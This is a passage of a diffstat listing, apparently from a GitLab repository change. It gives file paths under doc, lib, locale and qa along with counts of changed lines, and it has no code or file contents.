-rw-r--r--doc/user/project/clusters/multiple_kubernetes_clusters.md2
-rw-r--r--doc/user/project/code_owners.md2
-rw-r--r--doc/user/project/deploy_keys/index.md2
-rw-r--r--doc/user/project/import/bitbucket.md11
-rw-r--r--doc/user/project/import/bitbucket_server.md7
-rw-r--r--doc/user/project/import/fogbugz.md5
-rw-r--r--doc/user/project/import/gitea.md11
-rw-r--r--doc/user/project/import/github.md28
-rw-r--r--doc/user/project/import/gitlab_com.md7
-rw-r--r--doc/user/project/import/index.md25
-rw-r--r--doc/user/project/import/manifest.md9
-rw-r--r--doc/user/project/import/phabricator.md6
-rw-r--r--doc/user/project/import/repo_by_url.md5
-rw-r--r--doc/user/project/import/svn.md2
-rw-r--r--doc/user/project/index.md339
-rw-r--r--doc/user/project/integrations/apple_app_store.md59
-rw-r--r--doc/user/project/integrations/harbor.md2
-rw-r--r--doc/user/project/integrations/prometheus.md2
-rw-r--r--doc/user/project/integrations/slack.md1
-rw-r--r--doc/user/project/integrations/webhook_events.md34
-rw-r--r--doc/user/project/issues/managing_issues.md16
-rw-r--r--doc/user/project/labels.md2
-rw-r--r--doc/user/project/members/index.md11
-rw-r--r--doc/user/project/members/share_project_with_groups.md20
-rw-r--r--doc/user/project/merge_requests/approvals/rules.md10
-rw-r--r--doc/user/project/merge_requests/authorization_for_merge_requests.md2
-rw-r--r--doc/user/project/merge_requests/changes.md1
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md49
-rw-r--r--doc/user/project/merge_requests/dependencies.md5
-rw-r--r--doc/user/project/merge_requests/getting_started.md6
-rw-r--r--doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.pngbin8326 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.pngbin7841 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/index.md56
-rw-r--r--doc/user/project/merge_requests/methods/index.md6
-rw-r--r--doc/user/project/merge_requests/status_checks.md13
-rw-r--r--doc/user/project/merge_requests/versions.md2
-rw-r--r--doc/user/project/organize_work_with_projects.md33
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/index.md13
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md9
-rw-r--r--doc/user/project/pages/getting_started/pages_ci_cd_template.md3
-rw-r--r--doc/user/project/pages/getting_started/pages_forked_sample_project.md4
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md5
-rw-r--r--doc/user/project/pages/getting_started/pages_new_project_template.md3
-rw-r--r--doc/user/project/pages/getting_started/pages_ui.md6
-rw-r--r--doc/user/project/pages/index.md7
-rw-r--r--doc/user/project/protected_branches.md2
-rw-r--r--doc/user/project/quick_actions.md2
-rw-r--r--doc/user/project/releases/index.md2
-rw-r--r--doc/user/project/remote_development/index.md23
-rw-r--r--doc/user/project/repository/branches/index.md26
-rw-r--r--doc/user/project/repository/git_history.md4
-rw-r--r--doc/user/project/repository/img/web_editor_line_link_v13_10.pngbin42942 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_branch_dropdown_v14_1.pngbin12116 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_branch_from_issue_create_button_v14_1.pngbin18848 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_branch_from_issue_v14_1.pngbin10160 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_branch_page_v14_1.pngbin12442 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_directory_dialog_v14_1.pngbin13757 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_directory_dropdown_v14_1.pngbin11169 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_file_dropdown_v14_1.pngbin10851 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_file_editor_v14_1.pngbin60751 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_push_widget.pngbin3388 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_tag_dropdown.pngbin9706 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_new_tag_page.pngbin21835 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_start_new_merge_request.pngbin4049 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_template_dropdown_buttons.pngbin5629 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_template_dropdown_first_file_v14_1.pngbin17652 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_template_dropdown_mit_license_v14_1.pngbin31321 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_upload_file_dialog_v14_1.pngbin17522 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/web_editor_upload_file_dropdown_v14_1.pngbin11572 -> 0 bytes
-rw-r--r--doc/user/project/repository/index.md4
-rw-r--r--doc/user/project/repository/mirror/index.md14
-rw-r--r--doc/user/project/repository/reducing_the_repo_size_using_git.md6
-rw-r--r--doc/user/project/repository/ssh_signed_commits/index.md8
-rw-r--r--doc/user/project/repository/web_editor.md281
-rw-r--r--doc/user/project/service_desk.md21
-rw-r--r--doc/user/project/settings/import_export.md27
-rw-r--r--doc/user/project/settings/index.md4
-rw-r--r--doc/user/project/web_ide/index.md25
-rw-r--r--doc/user/project/web_ide_beta/index.md53
-rw-r--r--doc/user/project/working_with_projects.md194
-rw-r--r--doc/user/public_access.md10
-rw-r--r--doc/user/read_only_namespaces.md1
-rw-r--r--doc/user/reserved_names.md2
-rw-r--r--doc/user/search/img/search_navbar_v15_7.pngbin26983 -> 9493 bytes
-rw-r--r--doc/user/search/img/search_scope_v15_7.pngbin287661 -> 71848 bytes
-rw-r--r--doc/user/snippets.md2
-rw-r--r--doc/user/ssh.md3
-rw-r--r--doc/user/tasks.md10
-rw-r--r--doc/user/todos.md2
-rw-r--r--doc/user/usage_quotas.md9
-rw-r--r--doc/user/workspace/index.md14
-rw-r--r--glfm_specification/output_example_snapshots/html.yml22
-rw-r--r--glfm_specification/output_example_snapshots/snapshot_spec.html2
-rw-r--r--lib/api/api.rb4
-rw-r--r--lib/api/appearance.rb3
-rw-r--r--lib/api/branches.rb1
-rw-r--r--lib/api/bulk_imports.rb28
-rw-r--r--lib/api/ci/jobs.rb8
-rw-r--r--lib/api/ci/runner.rb1
-rw-r--r--lib/api/concerns/packages/debian_distribution_endpoints.rb8
-rw-r--r--lib/api/concerns/packages/debian_package_endpoints.rb4
-rw-r--r--lib/api/concerns/packages/nuget_endpoints.rb6
-rw-r--r--lib/api/debian_group_packages.rb6
-rw-r--r--lib/api/debian_project_packages.rb8
-rw-r--r--lib/api/discussions.rb2
-rw-r--r--lib/api/entities/appearance.rb6
-rw-r--r--lib/api/entities/application_setting.rb5
-rw-r--r--lib/api/entities/basic_project_details.rb10
-rw-r--r--lib/api/entities/bulk_imports/entity.rb5
-rw-r--r--lib/api/entities/ml/mlflow/run_info.rb1
-rw-r--r--lib/api/entities/project_integration_basic.rb1
-rw-r--r--lib/api/entities/remote_mirror.rb2
-rw-r--r--lib/api/environments.rb37
-rw-r--r--lib/api/files.rb13
-rw-r--r--lib/api/group_debian_distributions.rb2
-rw-r--r--lib/api/group_export.rb116
-rw-r--r--lib/api/helpers.rb25
-rw-r--r--lib/api/helpers/award_emoji.rb2
-rw-r--r--lib/api/helpers/discussions_helpers.rb4
-rw-r--r--lib/api/helpers/integrations_helpers.rb33
-rw-r--r--lib/api/helpers/members_helpers.rb3
-rw-r--r--lib/api/helpers/notes_helpers.rb2
-rw-r--r--lib/api/helpers/packages_helpers.rb11
-rw-r--r--lib/api/helpers/pagination_strategies.rb7
-rw-r--r--lib/api/helpers/projects_helpers.rb3
-rw-r--r--lib/api/helpers/rate_limiter.rb17
-rw-r--r--lib/api/helpers/remote_mirrors_helpers.rb26
-rw-r--r--lib/api/helpers/resource_events_helpers.rb2
-rw-r--r--lib/api/import_github.rb34
-rw-r--r--lib/api/internal/base.rb12
-rw-r--r--lib/api/invitations.rb2
-rw-r--r--lib/api/issues.rb6
-rw-r--r--lib/api/members.rb2
-rw-r--r--lib/api/merge_request_diffs.rb2
-rw-r--r--lib/api/merge_requests.rb65
-rw-r--r--lib/api/ml/mlflow.rb3
-rw-r--r--lib/api/nuget_group_packages.rb4
-rw-r--r--lib/api/nuget_project_packages.rb4
-rw-r--r--lib/api/pages_domains.rb4
-rw-r--r--lib/api/project_debian_distributions.rb6
-rw-r--r--lib/api/project_export.rb167
-rw-r--r--lib/api/projects.rb1
-rw-r--r--lib/api/release/links.rb4
-rw-r--r--lib/api/releases.rb11
-rw-r--r--lib/api/remote_mirrors.rb10
-rw-r--r--lib/api/resource_milestone_events.rb2
-rw-r--r--lib/api/rubygem_packages.rb32
-rw-r--r--lib/api/search.rb9
-rw-r--r--lib/api/settings.rb13
-rw-r--r--lib/api/subscriptions.rb2
-rw-r--r--lib/api/suggestions.rb2
-rw-r--r--lib/api/users.rb62
-rw-r--r--lib/api/validations/validators/bulk_imports.rb49
-rw-r--r--lib/atlassian/jira_connect/jwt/asymmetric.rb2
-rw-r--r--lib/banzai/filter/dollar_math_post_filter.rb76
-rw-r--r--lib/banzai/filter/dollar_math_pre_filter.rb49
-rw-r--r--lib/banzai/filter/inline_observability_filter.rb16
-rw-r--r--lib/banzai/filter/markdown_post_escape_filter.rb76
-rw-r--r--lib/banzai/filter/markdown_pre_escape_filter.rb42
-rw-r--r--lib/banzai/filter/math_filter.rb96
-rw-r--r--lib/banzai/filter/repository_link_filter.rb4
-rw-r--r--lib/banzai/filter/service_desk_upload_link_filter.rb41
-rw-r--r--lib/banzai/pipeline/plain_markdown_pipeline.rb7
-rw-r--r--lib/banzai/pipeline/service_desk_email_pipeline.rb11
-rw-r--r--lib/bulk_imports/clients/http.rb47
-rw-r--r--lib/bulk_imports/error.rb9
-rw-r--r--lib/bulk_imports/features.rb4
-rw-r--r--lib/bulk_imports/groups/stage.rb6
-rw-r--r--lib/bulk_imports/groups/transformers/subgroup_to_entity_transformer.rb3
-rw-r--r--lib/container_registry/client.rb1
-rw-r--r--lib/event_filter.rb4
-rw-r--r--lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/data_collector.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/request_params.rb6
-rw-r--r--lib/gitlab/application_rate_limiter.rb32
-rw-r--r--lib/gitlab/auth.rb2
-rw-r--r--lib/gitlab/auth/o_auth/user.rb2
-rw-r--r--lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb58
-rw-r--r--lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens.rb28
-rw-r--r--lib/gitlab/background_migration/backfill_cluster_agents_has_vulnerabilities.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_environment_tiers.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_epic_cache_counts.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_group_features.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_imported_issue_search_data.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_internal_on_notes.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_namespace_details.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_namespace_id_of_vulnerability_reads.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_project_feature_package_registry_access_level.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_project_import_level.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_project_member_namespace_id.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_project_namespace_details.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_releases_author_id.rb23
-rw-r--r--lib/gitlab/background_migration/backfill_user_details_fields.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent.rb1
-rw-r--r--lib/gitlab/background_migration/backfill_work_item_type_id_for_issues.rb2
-rw-r--r--lib/gitlab/background_migration/batched_migration_job.rb2
-rw-r--r--lib/gitlab/background_migration/cleanup_orphaned_routes.rb2
-rw-r--r--lib/gitlab/background_migration/copy_column_using_background_migration_job.rb1
-rw-r--r--lib/gitlab/background_migration/delete_approval_rules_with_vulnerability.rb2
-rw-r--r--lib/gitlab/background_migration/delete_invalid_epic_issues.rb2
-rw-r--r--lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities.rb2
-rw-r--r--lib/gitlab/background_migration/delete_orphans_approval_merge_request_rules.rb1
-rw-r--r--lib/gitlab/background_migration/delete_orphans_approval_project_rules.rb1
-rw-r--r--lib/gitlab/background_migration/destroy_invalid_group_members.rb1
-rw-r--r--lib/gitlab/background_migration/destroy_invalid_members.rb1
-rw-r--r--lib/gitlab/background_migration/destroy_invalid_project_members.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_licence_for_recent_public_projects.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_license_for_no_issues_no_repo_projects.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_license_for_one_member_no_repo_projects.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_five_mb.rb1
-rw-r--r--lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_one_mb.rb1
-rw-r--r--lib/gitlab/background_migration/expire_o_auth_tokens.rb16
-rw-r--r--lib/gitlab/background_migration/fix_approval_project_rules_without_protected_branches.rb2
-rw-r--r--lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb2
-rw-r--r--lib/gitlab/background_migration/fix_security_scan_statuses.rb2
-rw-r--r--lib/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb2
-rw-r--r--lib/gitlab/background_migration/migrate_vulnerabilities_feedback_to_vulnerabilities_state_transition.rb2
-rw-r--r--lib/gitlab/background_migration/populate_approval_merge_request_rules_with_security_orchestration.rb2
-rw-r--r--lib/gitlab/background_migration/populate_approval_project_rules_with_security_orchestration.rb2
-rw-r--r--lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb1
-rw-r--r--lib/gitlab/background_migration/populate_projects_star_count.rb1
-rw-r--r--lib/gitlab/background_migration/prune_stale_project_export_jobs.rb1
-rw-r--r--lib/gitlab/background_migration/re_expire_o_auth_tokens.rb10
-rw-r--r--lib/gitlab/background_migration/recount_epic_cache_counts.rb2
-rw-r--r--lib/gitlab/background_migration/remove_backfilled_job_artifacts_expire_at.rb1
-rw-r--r--lib/gitlab/background_migration/remove_self_managed_wiki_notes.rb1
-rw-r--r--lib/gitlab/background_migration/rename_task_system_note_to_checklist_item.rb1
-rw-r--r--lib/gitlab/background_migration/reset_duplicate_ci_runners_token_encrypted_values.rb1
-rw-r--r--lib/gitlab/background_migration/reset_duplicate_ci_runners_token_values.rb1
-rw-r--r--lib/gitlab/background_migration/reset_status_on_container_repositories.rb1
-rw-r--r--lib/gitlab/background_migration/sanitize_confidential_todos.rb1
-rw-r--r--lib/gitlab/background_migration/second_recount_epic_cache_counts.rb20
-rw-r--r--lib/gitlab/background_migration/set_correct_vulnerability_state.rb1
-rw-r--r--lib/gitlab/background_migration/set_legacy_open_source_license_available_for_non_public_projects.rb1
-rw-r--r--lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles.rb22
-rw-r--r--lib/gitlab/background_migration/update_ci_pipeline_artifacts_unknown_locked_status.rb2
-rw-r--r--lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb1
-rw-r--r--lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb2
-rw-r--r--lib/gitlab/chat_name_token.rb4
-rw-r--r--lib/gitlab/ci/config/entry/cache.rb8
-rw-r--r--lib/gitlab/ci/config/entry/processable.rb6
-rw-r--r--lib/gitlab/ci/config/entry/product/parallel.rb2
-rw-r--r--lib/gitlab/ci/config/entry/reports.rb2
-rw-r--r--lib/gitlab/ci/config/entry/variable.rb22
-rw-r--r--lib/gitlab/ci/config/external/file/artifact.rb4
-rw-r--r--lib/gitlab/ci/config/external/file/base.rb1
-rw-r--r--lib/gitlab/ci/config/external/mapper.rb150
-rw-r--r--lib/gitlab/ci/parsers/security/validators/schema_validator.rb25
-rw-r--r--lib/gitlab/ci/pipeline/chain/command.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/create_deployments.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/populate.rb3
-rw-r--r--lib/gitlab/ci/pipeline/chain/populate_metadata.rb3
-rw-r--r--lib/gitlab/ci/pipeline/chain/sequence.rb1
-rw-r--r--lib/gitlab/ci/pipeline/logger.rb2
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb4
-rw-r--r--lib/gitlab/ci/pipeline/seed/build/cache.rb4
-rw-r--r--lib/gitlab/ci/status/build/manual.rb16
-rw-r--r--lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml4
-rw-r--r--lib/gitlab/ci/variables/collection.rb86
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb7
-rw-r--r--lib/gitlab/config/entry/attributable.rb4
-rw-r--r--lib/gitlab/config/entry/validators.rb1
-rw-r--r--lib/gitlab/counters.rb7
-rw-r--r--lib/gitlab/counters/buffered_counter.rb166
-rw-r--r--lib/gitlab/counters/legacy_counter.rb23
-rw-r--r--lib/gitlab/data_builder/build.rb1
-rw-r--r--lib/gitlab/database.rb2
-rw-r--r--lib/gitlab/database/as_with_materialized.rb2
-rw-r--r--lib/gitlab/database/async_indexes/index_creator.rb8
-rw-r--r--lib/gitlab/database/async_indexes/index_destructor.rb6
-rw-r--r--lib/gitlab/database/background_migration/batched_migration_wrapper.rb10
-rw-r--r--lib/gitlab/database/gitlab_schema.rb97
-rw-r--r--lib/gitlab/database/indexing_exclusive_lease_guard.rb18
-rw-r--r--lib/gitlab/database/load_balancing/resolver.rb25
-rw-r--r--lib/gitlab/database/load_balancing/service_discovery.rb11
-rw-r--r--lib/gitlab/database/lock_writes_manager.rb30
-rw-r--r--lib/gitlab/database/loose_foreign_keys.rb2
-rw-r--r--lib/gitlab/database/migration_helpers.rb43
-rw-r--r--lib/gitlab/database/migration_helpers/automatic_lock_writes_on_tables.rb5
-rw-r--r--lib/gitlab/database/migrations/base_background_runner.rb9
-rw-r--r--lib/gitlab/database/migrations/instrumentation.rb4
-rw-r--r--lib/gitlab/database/migrations/observation.rb1
-rw-r--r--lib/gitlab/database/migrations/test_batched_background_runner.rb14
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb1
-rw-r--r--lib/gitlab/database/postgres_foreign_key.rb27
-rw-r--r--lib/gitlab/database/postgres_partition.rb4
-rw-r--r--lib/gitlab/database/query_analyzer.rb6
-rw-r--r--lib/gitlab/database/query_analyzers/base.rb4
-rw-r--r--lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection.rb15
-rw-r--r--lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb6
-rw-r--r--lib/gitlab/database/query_analyzers/query_recorder.rb16
-rw-r--r--lib/gitlab/database/reindexing/coordinator.rb28
-rw-r--r--lib/gitlab/database/reindexing/grafana_notifier.rb4
-rw-r--r--lib/gitlab/database/reindexing/index_selection.rb21
-rw-r--r--lib/gitlab/database/schema_helpers.rb13
-rw-r--r--lib/gitlab/database/tables_truncate.rb19
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_base.rb4
-rw-r--r--lib/gitlab/error_tracking.rb14
-rw-r--r--lib/gitlab/git_access.rb2
-rw-r--r--lib/gitlab/gitaly_client.rb40
-rw-r--r--lib/gitlab/gitaly_client/ref_service.rb6
-rw-r--r--lib/gitlab/gitaly_client/repository_service.rb15
-rw-r--r--lib/gitlab/github_gists_import/importer/gist_importer.rb3
-rw-r--r--lib/gitlab/github_import/client.rb12
-rw-r--r--lib/gitlab/github_import/clients/proxy.rb14
-rw-r--r--lib/gitlab/github_import/clients/search_repos.rb55
-rw-r--r--lib/gitlab/github_import/importer/protected_branch_importer.rb51
-rw-r--r--lib/gitlab/github_import/representation/protected_branch.rb19
-rw-r--r--lib/gitlab/gon_helper.rb2
-rw-r--r--lib/gitlab/graphql/deprecations_base.rb6
-rw-r--r--lib/gitlab/graphql/errors.rb2
-rw-r--r--lib/gitlab/hook_data/merge_request_builder.rb2
-rw-r--r--lib/gitlab/hotlinking_detector.rb2
-rw-r--r--lib/gitlab/http.rb3
-rw-r--r--lib/gitlab/i18n.rb18
-rw-r--r--lib/gitlab/import_export/base/relation_object_saver.rb2
-rw-r--r--lib/gitlab/import_export/error.rb4
-rw-r--r--lib/gitlab/import_export/group/legacy_tree_restorer.rb132
-rw-r--r--lib/gitlab/import_export/group/legacy_tree_saver.rb57
-rw-r--r--lib/gitlab/import_export/project/import_export.yml10
-rw-r--r--lib/gitlab/import_export/version_checker.rb2
-rw-r--r--lib/gitlab/memory/reporter.rb30
-rw-r--r--lib/gitlab/memory/watchdog.rb18
-rw-r--r--lib/gitlab/metrics/requests_rack_middleware.rb2
-rw-r--r--lib/gitlab/net_http_adapter.rb2
-rw-r--r--lib/gitlab/observability.rb4
-rw-r--r--lib/gitlab/pages/cache_control.rb10
-rw-r--r--lib/gitlab/pagination/cursor_based_keyset.rb3
-rw-r--r--lib/gitlab/pagination/keyset/cursor_pager.rb2
-rw-r--r--lib/gitlab/pagination/keyset/pager.rb2
-rw-r--r--lib/gitlab/pagination/keyset/simple_order_builder.rb32
-rw-r--r--lib/gitlab/phabricator_import.rb3
-rw-r--r--lib/gitlab/project_template.rb2
-rw-r--r--lib/gitlab/quick_actions/issue_actions.rb17
-rw-r--r--lib/gitlab/redis.rb1
-rw-r--r--lib/gitlab/redis/multi_store.rb133
-rw-r--r--lib/gitlab/redis/repository_cache.rb33
-rw-r--r--lib/gitlab/redis/wrapper.rb45
-rw-r--r--lib/gitlab/regex.rb20
-rw-r--r--lib/gitlab/repository_cache.rb11
-rw-r--r--lib/gitlab/repository_hash_cache.rb11
-rw-r--r--lib/gitlab/repository_set_cache.rb15
-rw-r--r--lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder.rb202
-rw-r--r--lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb246
-rw-r--r--lib/gitlab/sidekiq_config/cli_methods.rb4
-rw-r--r--lib/gitlab/sidekiq_daemon/memory_killer.rb9
-rw-r--r--lib/gitlab/sql/pattern.rb3
-rw-r--r--lib/gitlab/ssh/commit.rb2
-rw-r--r--lib/gitlab/ssh/signature.rb8
-rw-r--r--lib/gitlab/ssh_public_key.rb37
-rw-r--r--lib/gitlab/usage/metrics/aggregates/aggregate.rb20
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/base_metric.rb2
-rw-r--r--lib/gitlab/usage/service_ping/legacy_metric_metadata_decorator.rb19
-rw-r--r--lib/gitlab/usage/service_ping/legacy_metric_timing_decorator.rb18
-rw-r--r--lib/gitlab/usage_data.rb18
-rw-r--r--lib/gitlab/usage_data_queries.rb2
-rw-r--r--lib/gitlab/utils/strong_memoize.rb23
-rw-r--r--lib/gitlab/utils/usage_data.rb24
-rw-r--r--lib/gitlab/version_info.rb5
-rw-r--r--lib/google_api/cloud_platform/client.rb69
-rw-r--r--lib/object_storage/direct_upload.rb1
-rw-r--r--lib/sidebars/groups/menus/observability_menu.rb20
-rw-r--r--lib/sidebars/groups/menus/settings_menu.rb17
-rw-r--r--lib/sidebars/projects/menus/deployments_menu.rb17
-rw-r--r--lib/sidebars/projects/menus/settings_menu.rb6
-rw-r--r--lib/sidebars/your_work/menus/activity_menu.rb34
-rw-r--r--lib/sidebars/your_work/menus/groups_menu.rb34
-rw-r--r--lib/sidebars/your_work/menus/issues_menu.rb47
-rw-r--r--lib/sidebars/your_work/menus/merge_requests_menu.rb47
-rw-r--r--lib/sidebars/your_work/menus/milestones_menu.rb34
-rw-r--r--lib/sidebars/your_work/menus/projects_menu.rb34
-rw-r--r--lib/sidebars/your_work/menus/snippets_menu.rb34
-rw-r--r--lib/sidebars/your_work/menus/todos_menu.rb47
-rw-r--r--lib/sidebars/your_work/panel.rb35
-rw-r--r--lib/system_check/ldap_check.rb2
-rw-r--r--lib/tasks/contracts/merge_requests.rake9
-rw-r--r--lib/tasks/contracts/pipeline_schedules.rake2
-rw-r--r--lib/tasks/contracts/pipelines.rake8
-rw-r--r--lib/tasks/gitlab/db.rake36
-rw-r--r--lib/tasks/gitlab/db/lock_writes.rake2
-rw-r--r--lib/tasks/gitlab/security/update_banned_ssh_keys.rake72
-rw-r--r--lib/tasks/gitlab/seed/runner_fleet.rake40
-rw-r--r--lib/tasks/gitlab/tw/codeowners.rake2
-rw-r--r--locale/am_ET/gitlab.po1430
-rw-r--r--locale/ar_SA/gitlab.po1450
-rw-r--r--locale/as_IN/gitlab.po1430
-rw-r--r--locale/az_AZ/gitlab.po1430
-rw-r--r--locale/ba_RU/gitlab.po1425
-rw-r--r--locale/bg/gitlab.po1430
-rw-r--r--locale/bn_BD/gitlab.po1430
-rw-r--r--locale/bn_IN/gitlab.po1430
-rw-r--r--locale/br_FR/gitlab.po1445
-rw-r--r--locale/bs_BA/gitlab.po1435
-rw-r--r--locale/ca_ES/gitlab.po1434
-rw-r--r--locale/cs_CZ/gitlab.po1440
-rw-r--r--locale/cy_GB/gitlab.po1450
-rw-r--r--locale/da_DK/gitlab.po1458
-rw-r--r--locale/de/gitlab.po1504
-rw-r--r--locale/el_GR/gitlab.po1430
-rw-r--r--locale/en_GB/gitlab.po1434
-rw-r--r--locale/eo/gitlab.po1430
-rw-r--r--locale/es/gitlab.po1448
-rw-r--r--locale/et_EE/gitlab.po1430
-rw-r--r--locale/fa_IR/gitlab.po1430
-rw-r--r--locale/fi_FI/gitlab.po1430
-rw-r--r--locale/fil_PH/gitlab.po1430
-rw-r--r--locale/fr/gitlab.po3788
-rw-r--r--locale/gitlab.pot1272
-rw-r--r--locale/gl_ES/gitlab.po1430
-rw-r--r--locale/he_IL/gitlab.po1440
-rw-r--r--locale/hi_IN/gitlab.po1430
-rw-r--r--locale/hr_HR/gitlab.po1441
-rw-r--r--locale/hu_HU/gitlab.po1430
-rw-r--r--locale/hy_AM/gitlab.po1430
-rw-r--r--locale/id_ID/gitlab.po1425
-rw-r--r--locale/ig_NG/gitlab.po1425
-rw-r--r--locale/is_IS/gitlab.po1430
-rw-r--r--locale/it/gitlab.po1434
-rw-r--r--locale/ja/gitlab.po1431
-rw-r--r--locale/ka_GE/gitlab.po1430
-rw-r--r--locale/kab/gitlab.po1430
-rw-r--r--locale/ko/gitlab.po1435
-rw-r--r--locale/ku_TR/gitlab.po1430
-rw-r--r--locale/ky_KG/gitlab.po1430
-rw-r--r--locale/lt_LT/gitlab.po1440
-rw-r--r--locale/mk_MK/gitlab.po1430
-rw-r--r--locale/ml_IN/gitlab.po1430
-rw-r--r--locale/mn_MN/gitlab.po1430
-rw-r--r--locale/nb_NO/gitlab.po1452
-rw-r--r--locale/nl_NL/gitlab.po1434
-rw-r--r--locale/or_IN/gitlab.po1430
-rw-r--r--locale/pa_IN/gitlab.po1430
-rw-r--r--locale/pa_PK/gitlab.po1430
-rw-r--r--locale/pl_PL/gitlab.po1440
-rw-r--r--locale/pt_BR/gitlab.po1552
-rw-r--r--locale/pt_PT/gitlab.po1434
-rw-r--r--locale/ro_RO/gitlab.po1517
-rw-r--r--locale/ru/gitlab.po1600
-rw-r--r--locale/si_LK/gitlab.po1616
-rw-r--r--locale/sk_SK/gitlab.po1440
-rw-r--r--locale/sl_SI/gitlab.po1440
-rw-r--r--locale/sq_AL/gitlab.po1430
-rw-r--r--locale/sr_CS/gitlab.po1435
-rw-r--r--locale/sr_SP/gitlab.po1435
-rw-r--r--locale/sv_SE/gitlab.po1430
-rw-r--r--locale/sw_KE/gitlab.po1430
-rw-r--r--locale/ta_IN/gitlab.po1430
-rw-r--r--locale/th_TH/gitlab.po1425
-rw-r--r--locale/tr_TR/gitlab.po1436
-rw-r--r--locale/uk/gitlab.po2558
-rw-r--r--locale/ur_PK/gitlab.po1430
-rw-r--r--locale/uz_UZ/gitlab.po1430
-rw-r--r--locale/vi_VN/gitlab.po1425
-rw-r--r--locale/zh_CN/gitlab.po2211
-rw-r--r--locale/zh_HK/gitlab.po1427
-rw-r--r--locale/zh_TW/gitlab.po1515
-rw-r--r--metrics_server/metrics_server.rb41
-rw-r--r--metrics_server/settings_overrides.rb2
-rw-r--r--package.json90
-rw-r--r--qa/Dockerfile2
-rw-r--r--qa/Gemfile12
-rw-r--r--qa/Gemfile.lock41
-rw-r--r--qa/README.md51
-rw-r--r--qa/lib/gitlab/page/group/settings/usage_quotas.rb6
-rw-r--r--qa/qa/fixtures/mocks/import/github.yml2743
-rw-r--r--qa/qa/fixtures/package_managers/nuget/nuget_install_package.yaml.erb2
